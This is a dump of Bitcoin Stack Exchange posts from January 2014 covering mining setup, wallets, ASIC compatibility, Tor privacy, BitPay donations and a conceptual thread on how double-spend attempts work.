  <row Id="20916" PostTypeId="2" ParentId="20912" CreationDate="2014-01-21T22:52:58.420" Score="1" Body="&lt;p&gt;Yes this is expected behavior, Coinbase is not a full wallet and that means the funds under addresses it shows you are completely irrelevant. When you withdraw to an address, Coinbase will send the amount specified.&lt;/p&gt;&#xA;" OwnerUserId="11369" LastActivityDate="2014-01-21T22:52:58.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20917" PostTypeId="2" ParentId="114" CreationDate="2014-01-21T23:09:22.413" Score="8" Body="&lt;p&gt;A Satoshi is 0.00000001 BTC and currently the smallest transaction unit.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a Satoshi was equivalent to one penny, a microBTC would be equivalent to one dollar, and one BTC would be equivalent to 1,000,000 dollars.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With one BTC on the order of $1,000 USD, a Satoshi is equivalent to .001 penny&lt;/p&gt;&#xA;" OwnerUserId="12534" LastActivityDate="2014-01-21T23:09:22.413" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20919" PostTypeId="2" ParentId="20895" CreationDate="2014-01-21T23:37:28.250" Score="-1" Body="&lt;p&gt;Based on their compalince , KYC and AML policies.&lt;/p&gt;&#xA;" OwnerUserId="11653" LastActivityDate="2014-01-21T23:37:28.250" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20920" PostTypeId="2" ParentId="2245" CreationDate="2014-01-21T23:41:03.807" Score="0" Body="&lt;p&gt;I found a &lt;strong&gt;SanDisk&lt;/strong&gt; thumbdrive in my desk, that I had purchased a couple of years ago. It was on sale, and I never really used it. It has a password protected VAULT in the drive, and it can be (obviously) removed from the computer. I will explore this further...  :D&lt;/p&gt;&#xA;" OwnerUserId="11648" LastActivityDate="2014-01-21T23:41:03.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20921" PostTypeId="2" ParentId="19345" CreationDate="2014-01-21T23:51:57.127" Score="0" Body="&lt;p&gt;I think you can use this : &lt;a href=&quot;https://bitcointalk.org/index.php?topic=225690.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=225690.0&lt;/a&gt;&#xA;This is all you need to make your altcoin working ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to this link, you need to launch your alt coin's software and see in debug.log which hash your software is waiting for.&lt;/p&gt;&#xA;" OwnerUserId="3819" LastActivityDate="2014-01-21T23:51:57.127" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20926" PostTypeId="1" AcceptedAnswerId="20927" CreationDate="2014-01-22T02:29:18.923" Score="1" ViewCount="6026" Body="&lt;p&gt;I'm new to mining and I'm mining doge coins. My mining client reported&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;new block detected on network before longpoll&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but it doesn't seem like I'm actually mining anything. What does this mean?&lt;/p&gt;&#xA;" OwnerUserId="12538" LastEditorUserId="5406" LastEditDate="2016-04-25T20:46:53.220" LastActivityDate="2016-04-25T20:46:53.220" Title="What does &quot;new block detected on network before long poll&quot; mean?" Tags="|mining-pools|dogecoin|terminology|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20927" PostTypeId="2" ParentId="20926" CreationDate="2014-01-22T03:50:44.627" Score="1" Body="&lt;p&gt;It means a block has been found and what your currently mining is the past block.&lt;/p&gt;&#xA;" OwnerUserId="11369" LastActivityDate="2014-01-22T03:50:44.627" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20928" PostTypeId="2" ParentId="18633" CreationDate="2014-01-22T03:57:18.290" Score="1" Body="&lt;p&gt;When creating a new crypto-currency, a compromise must be made regarding the proof-of-work algorithm. Should the algorithm selected be CPU-only, or the opposite? Both options have their pro's and con's.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should the creators use an algorithm that's easy to run on either an ASIC or a GPU, then the bar is raised for potential miners - this means no worms will try to create swarms of 0wned computers to mine the currency, but it also means people who can only mine with CPU won't be interested in mining it at release time precisely because they know they will be set appart really soon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If, on the other hand, they purposefully select a CPU-only then people galore will attend the launch and start mining the coin, but it'll also mean botnets will start mining it as well and some people will use cloud computing or shared CPUs (theirs or from others to mine it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To see an actual example, look at what happened when Primecoin was launched: the ultimate CPU-only coin (some experimental GPU miners exist, but alas - they're &lt;em&gt;less&lt;/em&gt; capable than CPU ones), some worms started soon propagating to recruit machines to put them to mine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, plenty of people would use their accounts at these services which bill you by the amount of CPU you use and started using their share-time to mine Primecoin - to the point some servers of these server-providers collapsed, whereas others kicked off these miners for violations to terms of service.&lt;/p&gt;&#xA;" OwnerUserId="4748" LastActivityDate="2014-01-22T03:57:18.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20929" PostTypeId="1" AcceptedAnswerId="20936" CreationDate="2014-01-22T04:25:30.997" Score="8" ViewCount="1542" Body="&lt;p&gt;I've occasionally seen people online claiming they were victims of a double-spend because they handed over something of value in exchange for a bitcoin payment with no confirmations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although I understand this is theoretically possible, how would someone try this practically?  All available bitcoin clients would not allow you to make a transaction that spends an output that has already been spent, and the client would know about the first transaction very soon after it was broadcast.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there specialized double-spend-friendly bitcoin clients out there?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;  Please note: I am not asking for theory of any kind (especially not theory on how the blockchain / proof-of-work / waiting for confirmations solves the dobule-spend problem).  I am asking purely &lt;em&gt;practically&lt;/em&gt; ... how does someone pull off a double-spend attempt?&lt;/p&gt;&#xA;" OwnerUserId="4708" LastEditorUserId="4708" LastEditDate="2014-01-22T18:08:31.993" LastActivityDate="2015-02-28T18:41:26.307" Title="How do people actually try double-spends?" Tags="|doublespend|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20931" PostTypeId="1" AcceptedAnswerId="20932" CreationDate="2014-01-22T04:39:25.780" Score="1" ViewCount="366" Body="&lt;p&gt;My friend and I have been discussing trying to mine Bitcoins or an altcoin. We've come to the conclusion that at the current difficulty one gigahash per second Litecoin mining will net ~$5 USD a day. Now, there are some low-end Bitcoin ASICs out there (such as ASICMiner Block Erupters which get 333 MH/s) that would literally take years with the current Bitcoin difficulty to regain the cost of the machine mining Bitcoin. Would it be possible to configure an ASIC of this type to mine &lt;em&gt;Litecoin&lt;/em&gt;? Would the hardware be capable of supporting that?&lt;/p&gt;&#xA;" OwnerUserId="12542" LastEditorUserId="5406" LastEditDate="2016-04-25T20:46:37.280" LastActivityDate="2019-02-12T16:31:53.963" Title="Would it be possible to convert low-end ASICs designed for mining Bitcoin into Litecoin mining rigs?" Tags="|litecoin|mining-hardware|asic|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20932" PostTypeId="2" ParentId="20931" CreationDate="2014-01-22T05:17:13.163" Score="5" Body="&lt;p&gt;Nope, ASIC implies a physically designed chip only meant for doing 1 thing. And bitcoin ASICs are only capable of SHA hashing while litecoin demands scrypt hashing.&lt;/p&gt;&#xA;" OwnerUserId="11369" LastActivityDate="2014-01-22T05:17:13.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20933" PostTypeId="2" ParentId="17432" CreationDate="2014-01-22T07:23:19.560" Score="3" Body="&lt;p&gt;Yes, making a transfer works pretty fine with the Bitcoin-Qt wallet.&#xA;However, the transfer won't be submitted to the network until your local client is up to date. Up to this point, the transaction is shown in your local wallet but not in the global network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an alternative you could use another wallet, for instance Electrum (&lt;a href=&quot;http://electrum.org&quot; rel=&quot;nofollow&quot;&gt;http://electrum.org&lt;/a&gt;):&#xA;Electrum is a wallet that connects to servers that are already synchronized and thus will give you immediate results as well.&lt;/p&gt;&#xA;" OwnerUserId="12545" LastActivityDate="2014-01-22T07:23:19.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20934" PostTypeId="2" ParentId="5057" CreationDate="2014-01-22T07:30:47.160" Score="2" Body="&lt;p&gt;I know that there is a torrent where you can download the blockchain to jumpstart your fresh installation. This should also help to update your local wallet. In order to download and import the blockchain manually have a look at the instructions and the download link in this bitcointalk thread:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=145386.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=145386.0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12545" LastActivityDate="2014-01-22T07:30:47.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20935" PostTypeId="1" AcceptedAnswerId="20953" CreationDate="2014-01-22T07:33:22.993" Score="0" ViewCount="289" Body="&lt;p&gt;If I have my wallet on my computer, and I would like to transfer it to a Laptop or make a backup, how do I do that? And also, is it possible to transfer an online wallet to an offline wallet? Like from CoinBase to my Laptop?&lt;/p&gt;&#xA;" OwnerUserId="10957" LastActivityDate="2014-01-23T12:28:46.297" Title="How do I transfer my wallet?" Tags="|wallet|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20936" PostTypeId="2" ParentId="20929" CreationDate="2014-01-22T09:06:57.457" Score="2" Body="&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could practically open two separate bitcoin clients (such as MultiBit and Bitcoin-QT). Prepare a transaction that is using the same input. As for output one would use the payee's address, while the other client would use your address (you're double spending right?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At this point you'd just have to send the transactions at the same time and hope your payee has gotten the correct transaction instead of the double spend. I doubt there's a client that automates this procedure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also make this happen with a higher success rate if you send the valid transaction directly to the payee's client, while you send the double-spend to the node of a pool. This would increase the chances that your double spend will actually make it inside a block before the other. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course to do this would require you to get your hands wet with lower level bitcoin clients such as &lt;a href=&quot;https://github.com/spesmilo/sx&quot; rel=&quot;nofollow&quot;&gt;sx&lt;/a&gt; or directly &lt;a href=&quot;https://en.bitcoin.it/wiki/Bitcoind&quot; rel=&quot;nofollow&quot;&gt;bitcoind&lt;/a&gt;. Actually I'm afraid you'd have to program this functionality yourself studying the protocol and making sure you know how to broadcast to specific nodes instead of the entire network.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastEditorUserId="8717" LastEditDate="2014-01-22T19:22:09.090" LastActivityDate="2014-01-22T19:22:09.090" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="20938" PostTypeId="2" ParentId="20667" CreationDate="2014-01-22T11:46:33.817" Score="0" Body="&lt;p&gt;Assuming that you're interested in locating a Bitcoin ATM in Oz, I have just learned (in early 2014) that one will be soon installed in Sydney at co-working place The Workbench, in Ultimo. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a pretty cool place too: &lt;a href=&quot;http://theworkben.ch/&quot; rel=&quot;nofollow&quot;&gt;http://theworkben.ch/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12330" LastActivityDate="2014-01-22T11:46:33.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20939" PostTypeId="2" ParentId="20552" CreationDate="2014-01-22T11:49:50.667" Score="1" Body="&lt;p&gt;This repo &lt;a href=&quot;https://github.com/Rav3nPL/p2pool-rav&quot; rel=&quot;nofollow&quot;&gt;https://github.com/Rav3nPL/p2pool-rav&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;contains an updated version of p2pool that i know working with dogecoin network&lt;/p&gt;&#xA;" OwnerUserId="6693" LastActivityDate="2014-01-22T11:49:50.667" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20941" PostTypeId="2" ParentId="20845" CreationDate="2014-01-22T12:10:32.743" Score="0" Body="&lt;p&gt;This depends entirely on if both parties trust each other. Its possible the actual transaction message broadcast to the BitCoin network could get lost or ignored. At which point your client should retransmit it. If the other party had a copy of the transaction they could retransmit, it anybody could in theory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The network will only accept one spend of your coins. Theres a risk the sending party could spend them somewhere else at the same time. Theres then effectively a race in the network to get it included in the main line block chain. So one of the transactions will succeed and one will fail. Theres a risk the failing one could be yours. The higher the number of confirmations the less likely it will be rejected later.&lt;/p&gt;&#xA;" OwnerUserId="12549" LastActivityDate="2014-01-22T12:10:32.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20943" PostTypeId="1" AcceptedAnswerId="21053" CreationDate="2014-01-22T13:37:12.373" Score="4" ViewCount="406" Body="&lt;p&gt;It appears that bitcoin addresses using p2sh keys have a different prefix to that of normal bitcoin addresses. Do other altcoins such as litecoin, peercoin, dogecoin etc include this functionality?&lt;/p&gt;&#xA;" OwnerUserId="10521" LastEditorUserId="2306" LastEditDate="2014-12-13T05:51:02.157" LastActivityDate="2014-12-13T05:51:02.157" Title="BIP-0016 p2sh keys and altcoins" Tags="|altcoin|p2sh|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20944" PostTypeId="2" ParentId="20929" CreationDate="2014-01-22T14:43:19.767" Score="1" Body="&lt;p&gt;I think the best way to explain this is to use the analogy of the old banker's cheque.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the olden days when I was a lad we had a cheque book which allowed us to sign an instruction to pay someone a particular amount. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now if I was cheeky, I could write one cheque to Bob for ten pounds and another to Alice for ten pounds. The trouble was I only had ten pounds in my account and no overdraft facility. So when Alice cashed the cheque first, she got the money and Bob's cheque was bounced &quot;insufficient funds&quot;. Cashing the cheque meant that she had succeeded in being the first person to put her claim to the bank, who then checked my account balance and agreed to pay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Making a double spend attempt is exactly the same on the bitcoin network. You are contriving to sign two transactions to two different people when you know that your bitcoin funds are not sufficient to cover both payments. This is a simple string of text, not a physical cheque, but the principle is identical.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case the network is much faster than the old banking system, and on the bitcoin network, I think a transaction is visible to the whole bitcoin-world-network in under three seconds, so I would have to somehow force one transaction to be delayed in order to move my funds with another transaction. In any event the network will only accept one transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you wanted to create a transaction head on over to &lt;a href=&quot;http://brainwallet.org/#tx&quot; rel=&quot;nofollow&quot;&gt;this link&lt;/a&gt; and have a look. It allows you to create a raw transaction and then broadcast it. I suspect you are going to have a go anyway, but it would be nice if you could try out your stuff on Testnet.&lt;/p&gt;&#xA;" OwnerUserId="5157" LastActivityDate="2014-01-22T14:43:19.767" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="20945" PostTypeId="2" ParentId="20905" CreationDate="2014-01-22T14:55:44.470" Score="1" Body="&lt;p&gt;Firstly Bitpay and Bitcoin are not the same thing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;BitPay is the Paypal equivalent of the Bitcoin world. You may be able to have a percentage of the transaction for yourself, but you will have to work out the business logic. Can't help you there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding fees on the Bitcoin network, please note that it is designed to be anti-fee, so if you do add fees you must bring something else to the table, but it sounds like you are setting yourself up as an intermediary between the merchant and Bitpay so I don't know exactly what that might be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin is anti-fee because even it's own transaction fees are subject to minimum payment amounts otherwise the fee is zero.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Bitcoin Transaction fees themselves are not calculated on the amounts but are a function of the number and size of the inputs and outputs, the size of the transaction in kb and whether or not the person has decided to pay a fixed fee or not. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being said your merchants will not be happy if you apply a fixed fee to their transactions especially if the transaction amount is less than the fixed fee you want.&lt;/p&gt;&#xA;" OwnerUserId="5157" LastActivityDate="2014-01-22T14:55:44.470" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20946" PostTypeId="2" ParentId="8909" CreationDate="2014-01-22T15:52:11.213" Score="1" Body="&lt;p&gt;You can view Litecoin difficulty in &lt;a href=&quot;http://ltc.blockr.io&quot; rel=&quot;nofollow&quot;&gt;Litecoin block explorer - blockr.io&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12004" LastActivityDate="2014-01-22T15:52:11.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20947" PostTypeId="1" CreationDate="2014-01-22T16:04:36.540" Score="1" ViewCount="142" Body="&lt;p&gt;Is RonPaulCoin a clone of Bitcoin/Litecoin or are there differences beyond the specifications such as coin limit and difficulty algorithm?&lt;/p&gt;&#xA;" OwnerUserId="10789" LastEditorUserId="5406" LastEditDate="2014-01-23T12:26:12.380" LastActivityDate="2014-01-24T18:21:55.303" Title="How is RonPaulCoin different from Bitcoin/Litecoin?" Tags="|development|protocol|ronpaulcoin|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20948" PostTypeId="1" CreationDate="2014-01-22T16:06:53.093" Score="2" ViewCount="243" Body="&lt;p&gt;As far as I understand Bitcoin, user privacy and anonymity are hard to guarantee in the presence of multi-input transactions and shadow addresses. Some sites suggest using Tor to hide the source of a new user introducing an unconfirmed transaction into the network, but does this really help? It may hide the physical address from which the address was generated, but it doesn't help prevent linkability between Bitcoin addresses and single users due to the two aforementioned properties, right?&lt;/p&gt;&#xA;" OwnerUserId="12555" LastEditorUserId="1307" LastEditDate="2014-01-22T21:55:27.333" LastActivityDate="2014-01-22T22:18:33.700" Title="How can using Bitcoin with Tor improve privacy?" Tags="|transactions|privacy|tor|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20949" PostTypeId="2" ParentId="20948" CreationDate="2014-01-22T17:23:30.013" Score="4" Body="&lt;p&gt;Using Tor doesn't help to prevent someone from linking addresses and guessing that they might be owned by the same person.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It may help to keep someone from finding out who that owner actually is, where they live, etc.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-01-22T17:23:30.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20951" PostTypeId="2" ParentId="20837" CreationDate="2014-01-22T18:05:15.853" Score="1" Body="&lt;p&gt;After investigating, it turns out that the problem lies with the dimecoin wallets in built max money variable, which is capped at 10 million. as you may know, this functionality only affects the maximum size of a transaction, not the actual money supply.&lt;/p&gt;&#xA;" OwnerUserId="12447" LastActivityDate="2014-01-22T18:05:15.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20952" PostTypeId="2" ParentId="20947" CreationDate="2014-01-22T18:12:27.540" Score="2" Body="&lt;p&gt;Yep, that coin has no technological innovations beyond a name change and a different block reward (max coins that could exist for it is apparently 2.1 million, instead of bitcoin's 21 million).&lt;/p&gt;&#xA;" OwnerUserId="11369" LastActivityDate="2014-01-22T18:12:27.540" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20953" PostTypeId="2" ParentId="20935" CreationDate="2014-01-22T18:14:04.517" Score="1" Body="&lt;p&gt;If you're using a client, you can just export the &lt;code&gt;wallet.dat&lt;/code&gt; through an option, be sure to encrypt it!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to move your Coinbase &quot;wallet&quot;, you can just send the balance to an offline wallet address.&lt;/p&gt;&#xA;" OwnerUserId="11369" LastEditorUserId="5406" LastEditDate="2014-01-23T12:28:46.297" LastActivityDate="2014-01-23T12:28:46.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20954" PostTypeId="2" ParentId="20935" CreationDate="2014-01-22T18:28:06.150" Score="1" Body="&lt;p&gt;On your computer your wallet is stored in  under Roaming which can be accessed on windows 7 by running %appdata% transfer the wallet.dat file on any computer on the same folder. &lt;/p&gt;&#xA;" OwnerUserId="10829" LastActivityDate="2014-01-22T18:28:06.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20955" PostTypeId="1" CreationDate="2014-01-22T18:43:24.283" Score="0" ViewCount="253" Body="&lt;p&gt;I volunteer as the webmaster for a non-profit and convinced them to allow bitcoin donations.  I integrated their website with BitPay and everything is working fine.  We got one large donation and a few small ones so far, despite very little publicity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Recently I asked the treasurer for the banking info so I could link the bank account to BitPay and he balked!  We have gone back and forth on emails and the only explanation I can get is &quot;I'm not comfortable with that&quot;.  I should mention that we have had PayPal integration for years and regularly send PayPal funds to the bank account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So now we are accepting bitcoin with no way of getting it to the non-profit.  I don't think the organization has any expenses that can be bought with bitcoin. I would have thought if there were any objections it would have been to accepting bitcoin altogether, not at the point of linking the bank account!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I pasted the &lt;a href=&quot;https://en.wikipedia.org/wiki/BitPay&quot; rel=&quot;nofollow&quot;&gt;Wikipedia article on BitPay&lt;/a&gt; in an email to stress that it's an established company, but it had no effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice on how to proceed?&lt;/p&gt;&#xA;" OwnerUserId="4708" LastEditorUserId="4708" LastEditDate="2014-01-22T20:07:44.827" LastActivityDate="2014-04-22T22:49:06.013" Title="Non-profit balking at linking bank account to BitPay" Tags="|bitpay|donation|" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="20957" PostTypeId="2" ParentId="20929" CreationDate="2014-01-22T19:27:07.493" Score="0" Body="&lt;p&gt;Double-spending is simply the act of signing two transactions that spend the same bitcoin output twice. There are a few ways one could accomplish this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All you would need is some tool that allows you to craft transactions manually, such as &lt;a href=&quot;http://brainwallet.org/#tx&quot; rel=&quot;nofollow&quot;&gt;http://brainwallet.org/#tx&lt;/a&gt;, Bitcoin Core's raw transaction RPC commands, or even just a test editor and knowledge of the transaction format. You would create a transaction that spends certain outputs to some address, typically controlled by yourself, and create a different transaction spending one or more of the same output(s) to whoever you're paying. It can also be possible without manual transaction creation, if you can make your wallet forget the transaction, in which case it can create a double-spend that it simply doesn't know it's doing.&lt;/p&gt;&#xA;" OwnerUserId="1161" LastActivityDate="2014-01-22T19:27:07.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20959" PostTypeId="2" ParentId="20955" CreationDate="2014-01-22T20:25:55.930" Score="0" Body="&lt;p&gt;If the treasurer has never been involved in math-based currencies and this is his first exposure, his hesitancy is understandable. I personally balked at the idea of verifying my identity to BitStamp, until I realized exactly what you said; it's like any other financial institution. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would recommend motivating the treasurer into linking the accounts by making him very aware of the donations that are being left on the table. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another possible idea is to use a chain of intermediaries, find something he does trust and go the round about way of jumping through his hoops. Perhaps he would be comfortable with using and paying for a dedicated bank account just for BitPay to act as a sort of escrow account. &lt;/p&gt;&#xA;" OwnerUserId="12565" LastActivityDate="2014-01-22T20:25:55.930" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20960" PostTypeId="1" CreationDate="2014-01-22T20:54:34.923" Score="1" ViewCount="10813" Body="&lt;p&gt;I downloaded CGMiner and have my pool with slushs pool. So below I believe is the correct setup for CGMiner.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cgminer.exe --bmsc-options 115200:20 -o stratum.bitcoin.cz:3333 -u Starfleet.worker3 -p ***** --bmsc-freq 0781&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, every time I try and connect, it says exactly this:....&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Failed to resolve (?wrong URL) cgminer.exe --bmsc-options&#xA;Pool 0 slow/down or URL or credentials invalid&#xA;Pool setup failed&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can anyone please help me, I am not sure what I am doing wrong. And I do not really know how to write script.&lt;/p&gt;&#xA;" OwnerUserId="12568" LastEditorUserId="15412" LastEditDate="2014-07-15T03:09:27.370" LastActivityDate="2016-06-04T20:41:45.813" Title="How to fix &quot;Failed to resolve (?wrong URL) cgminer.exe --bmsc-options&quot;" Tags="|cgminer|stratum|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20961" PostTypeId="2" ParentId="20955" CreationDate="2014-01-22T21:02:18.473" Score="1" Body="&lt;p&gt;Suggest other ways to get from Bitcoins to USD. You could, for example, sell the coins with Coinbase or Bitstamp. My suspicion is that you are dealing with someone who doesn't like having only one option. With several options, you can explain the advantages and disadvantages of each one and you both can choose the best one. If that's BitPay, you should be able to explain why that's the right choice, and that should make him more comfortable.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-01-22T21:02:18.473" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20962" PostTypeId="1" AcceptedAnswerId="20968" CreationDate="2014-01-22T21:02:35.753" Score="2" ViewCount="181" Body="&lt;p&gt;I'm a Bitcoin newbie and this is rather theoretical question based on this discussion's accepted answer: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/9712/transaction-creation-failed/13518&quot;&gt;transaction creation failed&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So does it essentially mean that in case if my wallet is comprised of many small amounts of BTC (say, each of them is less than current tx fee), even though they may sum up to substantial amount, I nevertheless won't be able to spend any of them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, let's say in the edge case I have 100.000.000 addresses each containing 1 Satoshi. Does it mean 1 BTC they all sum up to is lost irrevocably?&lt;/p&gt;&#xA;" OwnerUserId="12533" LastEditorUserId="5406" LastEditDate="2021-03-06T19:41:47.270" LastActivityDate="2021-03-06T19:41:47.270" Title="Is it possible to spend outputs with very small amounts?" Tags="|economic-theory|dust|satoshi|coin-age-priority|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20963" PostTypeId="1" CreationDate="2014-01-22T21:14:50.927" Score="1" ViewCount="1826" Body="&lt;p&gt;Are there any Linux applications for mining Quark coin? I am running CPU Coin Miner and I have the Quark Wallet, both on Windows, but I would like to install these on Ubuntu or some Linux distro. Is this possible?&lt;/p&gt;&#xA;" OwnerDisplayName="user12501" LastEditorUserId="5406" LastEditDate="2016-04-25T20:46:27.530" LastActivityDate="2016-04-25T20:46:27.530" Title="Can I mine Quark on Linux?" Tags="|miner-configuration|linux|mining-software|quarkcoin|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20964" PostTypeId="2" ParentId="11392" CreationDate="2014-01-22T21:15:48.547" Score="0" Body="&lt;p&gt;Bitcoin lending would be done as in any bank lending - the bank opens a bit coin checking account for you in the amount of the loan.   You pay back the loan and interest by using the funds other people have borroed from other bitcoin banks.  As long as more &amp;amp; more banks make more &amp;amp; more loans its ok. As in any banking the banks only need a fraction of the bitcoins on hand to cover the loans made.  This also gets rid of the bit coin deflation problem because the banks are inflating the bitcoihns by making all these bitcoin checking accounts. The big wall street bank could jump in by seting up bitcoin debet cards and bitcoin credits cards.  Paypal could setup a system to support bitcoins. Once bitcoins get going you could have specilized version of bit coins.  For example you could have a type of bitcoins the mostly are used for pork bellies.  Or say a type of bitcoins that tend to only be used for realestate.  That way the exchange between these types of bitcoins would soffen any bubbles that may appear.   There may be 100s of different types of bitcoins.  To make a transaction the user would use plastic that would altomaticly use the correct bitcoin type for the transaction and adjust the verious accounts of the user.  The user would be protected from bubbles by the fact that only a few of the accounts would be effected by bubbles at any one time.  So it a housing bubble broke you might find it hard to get a housingbitcoin loan but you still could get a transportationbitcoin loan to build a plane. We will therefore never have a problem like we had in 2008 again. &lt;/p&gt;&#xA;" OwnerUserId="12572" LastActivityDate="2014-01-22T21:15:48.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20965" PostTypeId="1" CreationDate="2014-01-22T21:22:39.383" Score="3" ViewCount="280" Body="&lt;p&gt;When I access bitcoind through JSON-RPC and query:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;getbalance '*' 0&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It does not include transactions with 0 confirmations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only when a transaction has least 1 confirmation it is included in that rpc call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin-Qt correctly shows the number I want to get in Overview &gt; Wallet &gt; Unconfirmed&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Bitcoin 0.8.6 beta&lt;/p&gt;&#xA;" OwnerUserId="12573" LastActivityDate="2014-01-22T21:22:39.383" Title="Bitcoind JSON-RPC - getbalance with 0 confirmations not included" Tags="|bitcoind|json-rpc|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
